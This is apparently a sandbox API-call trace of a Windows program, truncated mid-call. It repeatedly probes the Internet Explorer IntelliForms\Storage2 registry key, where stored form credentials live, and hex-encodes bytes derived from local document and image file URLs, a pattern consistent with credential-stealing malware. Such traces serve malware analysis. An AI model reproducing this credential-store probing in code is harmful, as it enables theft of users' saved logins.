lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.963] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.963] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.963] LocalFree (hMem=0x647668) returned 0x0 [0077.963] CoTaskMemFree (pv=0x641bd0) [0077.964] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/LgBwx67zqWVuwiY22zLx.pptx", lpSrch="?") returned 0x0 [0077.964] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/LgBwx67zqWVuwiY22zLx.pptx") returned 60 [0077.964] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="61") returned 2 [0077.964] lstrlenA (lpString="") returned 0 [0077.964] lstrlenA (lpString="61") returned 2 [0077.964] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x657ea8 [0077.964] lstrcpyA (in: lpString1=0x657ea8, lpString2="" | out: lpString1="") returned="" [0077.964] lstrcatA (in: lpString1="", lpString2="61" | out: lpString1="61") returned="61" [0077.964] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9F") returned 2 [0077.964] lstrlenA (lpString="61") returned 2 [0077.964] lstrlenA (lpString="9F") returned 2 [0077.964] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x657f38 [0077.964] lstrcpyA (in: lpString1=0x657f38, lpString2="61" | out: lpString1="61") returned="61" [0077.964] lstrcatA (in: lpString1="61", lpString2="9F" | out: lpString1="619F") returned="619F" [0077.964] LocalFree (hMem=0x657ea8) returned 0x0 [0077.964] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FE") returned 2 [0077.964] lstrlenA (lpString="619F") returned 4 [0077.964] lstrlenA (lpString="FE") returned 2 [0077.964] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x657ea8 [0077.964] lstrcpyA (in: lpString1=0x657ea8, lpString2="619F" | out: lpString1="619F") returned="619F" [0077.964] lstrcatA (in: lpString1="619F", lpString2="FE" | out: lpString1="619FFE") returned="619FFE" [0077.964] LocalFree (hMem=0x657f38) returned 0x0 [0077.964] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="75") returned 2 [0077.964] lstrlenA (lpString="619FFE") returned 6 [0077.964] lstrlenA (lpString="75") returned 2 [0077.964] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x657f38 [0077.964] lstrcpyA (in: lpString1=0x657f38, lpString2="619FFE" | out: lpString1="619FFE") returned="619FFE" [0077.964] lstrcatA (in: lpString1="619FFE", lpString2="75" | out: lpString1="619FFE75") returned="619FFE75" [0077.964] LocalFree (hMem=0x657ea8) returned 0x0 [0077.964] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="90") returned 2 [0077.964] lstrlenA (lpString="619FFE75") returned 8 [0077.964] lstrlenA (lpString="90") returned 2 [0077.964] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x657fd0 [0077.964] lstrcpyA (in: lpString1=0x657fd0, lpString2="619FFE75" | out: lpString1="619FFE75") returned="619FFE75" [0077.965] lstrcatA (in: lpString1="619FFE75", lpString2="90" | out: lpString1="619FFE7590") returned="619FFE7590" [0077.965] LocalFree (hMem=0x657f38) returned 0x0 [0077.965] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="48") returned 2 [0077.965] lstrlenA (lpString="619FFE7590") returned 10 [0077.965] lstrlenA (lpString="48") returned 2 [0077.965] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x657ea8 [0077.965] lstrcpyA (in: lpString1=0x657ea8, lpString2="619FFE7590" | out: lpString1="619FFE7590") returned="619FFE7590" [0077.965] lstrcatA (in: lpString1="619FFE7590", lpString2="48" | out: lpString1="619FFE759048") returned="619FFE759048" [0077.965] LocalFree (hMem=0x657fd0) returned 0x0 [0077.965] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7B") returned 2 [0077.965] lstrlenA (lpString="619FFE759048") returned 12 [0077.965] lstrlenA (lpString="7B") returned 2 [0077.965] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x657f40 [0077.965] lstrcpyA (in: lpString1=0x657f40, lpString2="619FFE759048" | out: lpString1="619FFE759048") returned="619FFE759048" [0077.965] lstrcatA (in: lpString1="619FFE759048", lpString2="7B" | out: lpString1="619FFE7590487B") returned="619FFE7590487B" [0077.965] LocalFree (hMem=0x657ea8) returned 0x0 [0077.965] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0077.965] lstrlenA (lpString="619FFE7590487B") returned 14 [0077.965] lstrlenA (lpString="B3") returned 2 [0077.965] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x657fd8 [0077.965] lstrcpyA (in: lpString1=0x657fd8, lpString2="619FFE7590487B" | out: lpString1="619FFE7590487B") returned="619FFE7590487B" [0077.965] lstrcatA (in: lpString1="619FFE7590487B", lpString2="B3" | out: lpString1="619FFE7590487BB3") returned="619FFE7590487BB3" [0077.965] LocalFree (hMem=0x657f40) returned 0x0 [0077.965] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CB") returned 2 [0077.965] lstrlenA (lpString="619FFE7590487BB3") returned 16 [0077.965] lstrlenA (lpString="CB") returned 2 [0077.965] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x657ea8 [0077.965] lstrcpyA (in: lpString1=0x657ea8, lpString2="619FFE7590487BB3" | out: lpString1="619FFE7590487BB3") returned="619FFE7590487BB3" [0077.965] lstrcatA (in: lpString1="619FFE7590487BB3", lpString2="CB" | out: lpString1="619FFE7590487BB3CB") returned="619FFE7590487BB3CB" [0077.965] LocalFree (hMem=0x657fd8) returned 0x0 [0077.965] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="20") returned 2 [0077.965] lstrlenA (lpString="619FFE7590487BB3CB") returned 18 [0077.965] lstrlenA (lpString="20") returned 2 [0077.965] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x657f48 [0077.965] lstrcpyA (in: lpString1=0x657f48, lpString2="619FFE7590487BB3CB" | out: lpString1="619FFE7590487BB3CB") returned="619FFE7590487BB3CB" [0077.965] lstrcatA (in: lpString1="619FFE7590487BB3CB", lpString2="20" | out: lpString1="619FFE7590487BB3CB20") returned="619FFE7590487BB3CB20" [0077.965] LocalFree (hMem=0x657ea8) returned 0x0 [0077.965] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D4") returned 2 [0077.965] lstrlenA (lpString="619FFE7590487BB3CB20") returned 20 [0077.966] lstrlenA (lpString="D4") returned 2 [0077.966] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x657ea8 [0077.966] lstrcpyA (in: lpString1=0x657ea8, lpString2="619FFE7590487BB3CB20" | out: lpString1="619FFE7590487BB3CB20") returned="619FFE7590487BB3CB20" [0077.966] lstrcatA (in: lpString1="619FFE7590487BB3CB20", lpString2="D4" | out: lpString1="619FFE7590487BB3CB20D4") returned="619FFE7590487BB3CB20D4" [0077.966] LocalFree (hMem=0x657f48) returned 0x0 [0077.966] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FD") returned 2 [0077.966] lstrlenA (lpString="619FFE7590487BB3CB20D4") returned 22 [0077.966] lstrlenA (lpString="FD") returned 2 [0077.966] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652ab8 [0077.966] lstrcpyA (in: lpString1=0x652ab8, lpString2="619FFE7590487BB3CB20D4" | out: lpString1="619FFE7590487BB3CB20D4") returned="619FFE7590487BB3CB20D4" [0077.966] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4", lpString2="FD" | out: lpString1="619FFE7590487BB3CB20D4FD") returned="619FFE7590487BB3CB20D4FD" [0077.966] LocalFree (hMem=0x657ea8) returned 0x0 [0077.966] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6D") returned 2 [0077.966] lstrlenA (lpString="619FFE7590487BB3CB20D4FD") returned 24 [0077.966] lstrlenA (lpString="6D") returned 2 [0077.966] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.966] lstrcpyA (in: lpString1=0x652968, lpString2="619FFE7590487BB3CB20D4FD" | out: lpString1="619FFE7590487BB3CB20D4FD") returned="619FFE7590487BB3CB20D4FD" [0077.966] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD", lpString2="6D" | out: lpString1="619FFE7590487BB3CB20D4FD6D") returned="619FFE7590487BB3CB20D4FD6D" [0077.966] LocalFree (hMem=0x652ab8) returned 0x0 [0077.966] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0D") returned 2 [0077.966] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D") returned 26 [0077.966] lstrlenA (lpString="0D") returned 2 [0077.966] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652ab8 [0077.966] lstrcpyA (in: lpString1=0x652ab8, lpString2="619FFE7590487BB3CB20D4FD6D" | out: lpString1="619FFE7590487BB3CB20D4FD6D") returned="619FFE7590487BB3CB20D4FD6D" [0077.968] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D", lpString2="0D" | out: lpString1="619FFE7590487BB3CB20D4FD6D0D") returned="619FFE7590487BB3CB20D4FD6D0D" [0077.968] LocalFree (hMem=0x652968) returned 0x0 [0077.969] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FE") returned 2 [0077.969] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0D") returned 28 [0077.969] lstrlenA (lpString="FE") returned 2 [0077.969] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.969] lstrcpyA (in: lpString1=0x652968, lpString2="619FFE7590487BB3CB20D4FD6D0D" | out: lpString1="619FFE7590487BB3CB20D4FD6D0D") returned="619FFE7590487BB3CB20D4FD6D0D" [0077.969] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0D", lpString2="FE" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFE") returned="619FFE7590487BB3CB20D4FD6D0DFE" [0077.969] LocalFree (hMem=0x652ab8) returned 0x0 [0077.969] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B8") returned 2 [0077.969] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0DFE") returned 30 [0077.969] lstrlenA (lpString="B8") returned 2 [0077.969] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.969] lstrcpyA (in: lpString1=0x6292f8, lpString2="619FFE7590487BB3CB20D4FD6D0DFE" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFE") returned="619FFE7590487BB3CB20D4FD6D0DFE" [0077.969] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0DFE", lpString2="B8" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8") returned="619FFE7590487BB3CB20D4FD6D0DFEB8" [0077.969] LocalFree (hMem=0x652968) returned 0x0 [0077.969] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="09") returned 2 [0077.969] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0DFEB8") returned 32 [0077.969] lstrlenA (lpString="09") returned 2 [0077.969] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.969] lstrcpyA (in: lpString1=0x6293a8, lpString2="619FFE7590487BB3CB20D4FD6D0DFEB8" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8") returned="619FFE7590487BB3CB20D4FD6D0DFEB8" [0077.969] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8", lpString2="09" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB809") returned="619FFE7590487BB3CB20D4FD6D0DFEB809" [0077.969] LocalFree (hMem=0x6292f8) returned 0x0 [0077.969] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9E") returned 2 [0077.969] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0DFEB809") returned 34 [0077.969] lstrlenA (lpString="9E") returned 2 [0077.969] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.969] lstrcpyA (in: lpString1=0x6292f8, lpString2="619FFE7590487BB3CB20D4FD6D0DFEB809" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB809") returned="619FFE7590487BB3CB20D4FD6D0DFEB809" [0077.969] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB809", lpString2="9E" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099E") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099E" [0077.969] LocalFree (hMem=0x6293a8) returned 0x0 [0077.969] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CE") returned 2 [0077.969] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0DFEB8099E") returned 36 [0077.969] lstrlenA (lpString="CE") returned 2 [0077.969] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.969] lstrcpyA (in: lpString1=0x6293a8, lpString2="619FFE7590487BB3CB20D4FD6D0DFEB8099E" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099E") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099E" [0077.969] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099E", lpString2="CE" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE" [0077.969] LocalFree (hMem=0x6292f8) returned 0x0 [0077.969] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D9") returned 2 [0077.969] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE") returned 38 [0077.969] lstrlenA (lpString="D9") returned 2 [0077.969] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647668 [0077.970] lstrcpyA (in: lpString1=0x647668, lpString2="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE" [0077.970] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECE", lpString2="D9" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9" [0077.970] LocalFree (hMem=0x6293a8) returned 0x0 [0077.970] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0077.970] lstrlenA (lpString="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9") returned 40 [0077.970] lstrlenA (lpString="B3") returned 2 [0077.970] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.970] lstrcpyA (in: lpString1=0x6477d8, lpString2="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9" [0077.970] lstrcatA (in: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9", lpString2="B3" | out: lpString1="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9B3") returned="619FFE7590487BB3CB20D4FD6D0DFEB8099ECED9B3" [0077.970] LocalFree (hMem=0x647668) returned 0x0 [0077.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.970] LocalFree (hMem=0x6477d8) returned 0x0 [0077.970] CoTaskMemFree (pv=0x655f48) [0077.970] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/Kc0uAGB_mrQriWWBmiE.jpg", lpSrch="?") returned 0x0 [0077.970] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/Kc0uAGB_mrQriWWBmiE.jpg") returned 86 [0077.970] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9C") returned 2 [0077.970] lstrlenA (lpString="") returned 0 [0077.970] lstrlenA (lpString="9C") returned 2 [0077.970] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x657ea8 [0077.970] lstrcpyA (in: lpString1=0x657ea8, lpString2="" | out: lpString1="") returned="" [0077.970] lstrcatA (in: lpString1="", lpString2="9C" | out: lpString1="9C") returned="9C" [0077.970] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="77") returned 2 [0077.970] lstrlenA (lpString="9C") returned 2 [0077.970] lstrlenA (lpString="77") returned 2 [0077.970] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x657f38 [0077.970] lstrcpyA (in: lpString1=0x657f38, lpString2="9C" | out: lpString1="9C") returned="9C" [0077.970] lstrcatA (in: lpString1="9C", lpString2="77" | out: lpString1="9C77") returned="9C77" [0077.971] LocalFree (hMem=0x657ea8) returned 0x0 [0077.971] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D7") returned 2 [0077.971] lstrlenA (lpString="9C77") returned 4 [0077.971] lstrlenA (lpString="D7") returned 2 [0077.971] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x657ea8 [0077.971] lstrcpyA (in: lpString1=0x657ea8, lpString2="9C77" | out: lpString1="9C77") returned="9C77" [0077.971] lstrcatA (in: lpString1="9C77", lpString2="D7" | out: lpString1="9C77D7") returned="9C77D7" [0077.971] LocalFree (hMem=0x657f38) returned 0x0 [0077.971] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3B") returned 2 [0077.971] lstrlenA (lpString="9C77D7") returned 6 [0077.971] lstrlenA (lpString="3B") returned 2 [0077.971] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x657f38 [0077.971] lstrcpyA (in: lpString1=0x657f38, lpString2="9C77D7" | out: lpString1="9C77D7") returned="9C77D7" [0077.971] lstrcatA (in: lpString1="9C77D7", lpString2="3B" | out: lpString1="9C77D73B") returned="9C77D73B" [0077.971] LocalFree (hMem=0x657ea8) returned 0x0 [0077.971] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0077.971] lstrlenA (lpString="9C77D73B") returned 8 [0077.971] lstrlenA (lpString="57") returned 2 [0077.971] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x657fd0 [0077.971] lstrcpyA (in: lpString1=0x657fd0, lpString2="9C77D73B" | out: lpString1="9C77D73B") returned="9C77D73B" [0077.971] lstrcatA (in: lpString1="9C77D73B", lpString2="57" | out: lpString1="9C77D73B57") returned="9C77D73B57" [0077.971] LocalFree (hMem=0x657f38) returned 0x0 [0077.971] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0077.971] lstrlenA (lpString="9C77D73B57") returned 10 [0077.971] lstrlenA (lpString="F1") returned 2 [0077.971] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x657ea8 [0077.971] lstrcpyA (in: lpString1=0x657ea8, lpString2="9C77D73B57" | out: lpString1="9C77D73B57") returned="9C77D73B57" [0077.971] lstrcatA (in: lpString1="9C77D73B57", lpString2="F1" | out: lpString1="9C77D73B57F1") returned="9C77D73B57F1" [0077.971] LocalFree (hMem=0x657fd0) returned 0x0 [0077.971] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="ED") returned 2 [0077.971] lstrlenA (lpString="9C77D73B57F1") returned 12 [0077.971] lstrlenA (lpString="ED") returned 2 [0077.971] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x657f40 [0077.971] lstrcpyA (in: lpString1=0x657f40, lpString2="9C77D73B57F1" | out: lpString1="9C77D73B57F1") returned="9C77D73B57F1" [0077.971] lstrcatA (in: lpString1="9C77D73B57F1", lpString2="ED" | out: lpString1="9C77D73B57F1ED") returned="9C77D73B57F1ED" [0077.971] LocalFree (hMem=0x657ea8) returned 0x0 [0077.971] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="23") returned 2 [0077.971] lstrlenA (lpString="9C77D73B57F1ED") returned 14 [0077.971] lstrlenA (lpString="23") returned 2 [0077.971] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x657fd8 [0077.972] lstrcpyA (in: lpString1=0x657fd8, lpString2="9C77D73B57F1ED" | out: lpString1="9C77D73B57F1ED") returned="9C77D73B57F1ED" [0077.972] lstrcatA (in: lpString1="9C77D73B57F1ED", lpString2="23" | out: lpString1="9C77D73B57F1ED23") returned="9C77D73B57F1ED23" [0077.972] LocalFree (hMem=0x657f40) returned 0x0 [0077.972] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DC") returned 2 [0077.972] lstrlenA (lpString="9C77D73B57F1ED23") returned 16 [0077.972] lstrlenA (lpString="DC") returned 2 [0077.972] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x657ea8 [0077.972] lstrcpyA (in: lpString1=0x657ea8, lpString2="9C77D73B57F1ED23" | out: lpString1="9C77D73B57F1ED23") returned="9C77D73B57F1ED23" [0077.972] lstrcatA (in: lpString1="9C77D73B57F1ED23", lpString2="DC" | out: lpString1="9C77D73B57F1ED23DC") returned="9C77D73B57F1ED23DC" [0077.972] LocalFree (hMem=0x657fd8) returned 0x0 [0077.972] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3B") returned 2 [0077.972] lstrlenA (lpString="9C77D73B57F1ED23DC") returned 18 [0077.972] lstrlenA (lpString="3B") returned 2 [0077.972] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x657f48 [0077.972] lstrcpyA (in: lpString1=0x657f48, lpString2="9C77D73B57F1ED23DC" | out: lpString1="9C77D73B57F1ED23DC") returned="9C77D73B57F1ED23DC" [0077.972] lstrcatA (in: lpString1="9C77D73B57F1ED23DC", lpString2="3B" | out: lpString1="9C77D73B57F1ED23DC3B") returned="9C77D73B57F1ED23DC3B" [0077.972] LocalFree (hMem=0x657ea8) returned 0x0 [0077.972] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F8") returned 2 [0077.972] lstrlenA (lpString="9C77D73B57F1ED23DC3B") returned 20 [0077.972] lstrlenA (lpString="F8") returned 2 [0077.972] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x657ea8 [0077.972] lstrcpyA (in: lpString1=0x657ea8, lpString2="9C77D73B57F1ED23DC3B" | out: lpString1="9C77D73B57F1ED23DC3B") returned="9C77D73B57F1ED23DC3B" [0077.972] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3B", lpString2="F8" | out: lpString1="9C77D73B57F1ED23DC3BF8") returned="9C77D73B57F1ED23DC3BF8" [0077.972] LocalFree (hMem=0x657f48) returned 0x0 [0077.972] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="82") returned 2 [0077.972] lstrlenA (lpString="9C77D73B57F1ED23DC3BF8") returned 22 [0077.972] lstrlenA (lpString="82") returned 2 [0077.972] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.972] lstrcpyA (in: lpString1=0x652968, lpString2="9C77D73B57F1ED23DC3BF8" | out: lpString1="9C77D73B57F1ED23DC3BF8") returned="9C77D73B57F1ED23DC3BF8" [0077.972] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF8", lpString2="82" | out: lpString1="9C77D73B57F1ED23DC3BF882") returned="9C77D73B57F1ED23DC3BF882" [0077.972] LocalFree (hMem=0x657ea8) returned 0x0 [0077.972] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="62") returned 2 [0077.972] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882") returned 24 [0077.972] lstrlenA (lpString="62") returned 2 [0077.972] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652b60 [0077.972] lstrcpyA (in: lpString1=0x652b60, lpString2="9C77D73B57F1ED23DC3BF882" | out: lpString1="9C77D73B57F1ED23DC3BF882") returned="9C77D73B57F1ED23DC3BF882" [0077.972] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882", lpString2="62" | out: lpString1="9C77D73B57F1ED23DC3BF88262") returned="9C77D73B57F1ED23DC3BF88262" [0077.972] LocalFree (hMem=0x652968) returned 0x0 [0077.972] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0D") returned 2 [0077.973] lstrlenA (lpString="9C77D73B57F1ED23DC3BF88262") returned 26 [0077.973] lstrlenA (lpString="0D") returned 2 [0077.973] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.973] lstrcpyA (in: lpString1=0x652968, lpString2="9C77D73B57F1ED23DC3BF88262" | out: lpString1="9C77D73B57F1ED23DC3BF88262") returned="9C77D73B57F1ED23DC3BF88262" [0077.973] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF88262", lpString2="0D" | out: lpString1="9C77D73B57F1ED23DC3BF882620D") returned="9C77D73B57F1ED23DC3BF882620D" [0077.973] LocalFree (hMem=0x652b60) returned 0x0 [0077.973] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="69") returned 2 [0077.973] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D") returned 28 [0077.973] lstrlenA (lpString="69") returned 2 [0077.973] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652b60 [0077.973] lstrcpyA (in: lpString1=0x652b60, lpString2="9C77D73B57F1ED23DC3BF882620D" | out: lpString1="9C77D73B57F1ED23DC3BF882620D") returned="9C77D73B57F1ED23DC3BF882620D" [0077.973] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D", lpString2="69" | out: lpString1="9C77D73B57F1ED23DC3BF882620D69") returned="9C77D73B57F1ED23DC3BF882620D69" [0077.973] LocalFree (hMem=0x652968) returned 0x0 [0077.973] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="87") returned 2 [0077.973] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D69") returned 30 [0077.973] lstrlenA (lpString="87") returned 2 [0077.973] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.973] lstrcpyA (in: lpString1=0x6293a8, lpString2="9C77D73B57F1ED23DC3BF882620D69" | out: lpString1="9C77D73B57F1ED23DC3BF882620D69") returned="9C77D73B57F1ED23DC3BF882620D69" [0077.973] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D69", lpString2="87" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987") returned="9C77D73B57F1ED23DC3BF882620D6987" [0077.973] LocalFree (hMem=0x652b60) returned 0x0 [0077.973] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="58") returned 2 [0077.973] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D6987") returned 32 [0077.973] lstrlenA (lpString="58") returned 2 [0077.973] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.973] lstrcpyA (in: lpString1=0x6292f8, lpString2="9C77D73B57F1ED23DC3BF882620D6987" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987") returned="9C77D73B57F1ED23DC3BF882620D6987" [0077.973] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D6987", lpString2="58" | out: lpString1="9C77D73B57F1ED23DC3BF882620D698758") returned="9C77D73B57F1ED23DC3BF882620D698758" [0077.973] LocalFree (hMem=0x6293a8) returned 0x0 [0077.973] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9E") returned 2 [0077.973] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D698758") returned 34 [0077.973] lstrlenA (lpString="9E") returned 2 [0077.973] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.973] lstrcpyA (in: lpString1=0x6293a8, lpString2="9C77D73B57F1ED23DC3BF882620D698758" | out: lpString1="9C77D73B57F1ED23DC3BF882620D698758") returned="9C77D73B57F1ED23DC3BF882620D698758" [0077.973] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D698758", lpString2="9E" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E") returned="9C77D73B57F1ED23DC3BF882620D6987589E" [0077.973] LocalFree (hMem=0x6292f8) returned 0x0 [0077.973] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="28") returned 2 [0077.973] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D6987589E") returned 36 [0077.973] 